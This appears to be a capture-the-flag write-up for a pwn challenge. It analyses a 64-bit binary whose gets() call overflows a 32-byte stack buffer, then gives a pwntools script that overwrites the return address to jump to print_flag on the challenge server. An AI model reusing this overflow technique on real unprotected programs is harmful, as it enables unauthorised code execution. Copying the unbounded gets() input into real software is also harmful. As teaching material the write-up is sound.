C is hard

by captainnoob / bspade

Tags: pwn pwntools

Rating:

Analyzing binary

```
$ file ./source_fixed
./source_fixed: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /l
ib64/ld-linux-x86-64.so.2, BuildID[sha1]=5f268025da756ac40a35510d1e0af422bdef7af6, for GNU/Linux 3.2.0,
not stripped
```

Checking security

```
$ checksec source_fixed
[*] '/home/guru/Desktop/ctf/1/source_fixed'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

Disassemble

```
undefined8 main(void)
{
  puts("I will give you my secret if you can run my function");
  vuln();
  puts("This is not my function :");
  return 0;
}

void vuln(void)
{
  char local_28 [32];

  gets(local_28); //overflow here
  return;
}

void print_flag(void)
{
  FILE *__stream;
  __stream = fopen("flag.txt","r");
  fgets(flag,0x40,__stream);
```

```
  printf(" Thanks for running my function, here is my secret : %s%s%s",&DAT_00402018,flag,
         &DAT_00402013);
  return;
}
```

Objective

Overflow `local_28` and control `RIP` register and navigate to `print_flag` function.

Exploit

```
from pwn import *


elf = ELF('./source_fixed')
#proc = elf.process()
proc =remote("chall.codefest.tech", 8780)

offset  = 40

payload = b"A"*offset + p64(elf.symbols['print_flag'])
log.info(b'Payload Generated')
proc.recvuntil('\n')

proc.sendline(payload)

print(proc.recvuntil('\n'))
proc.close()
```

Comments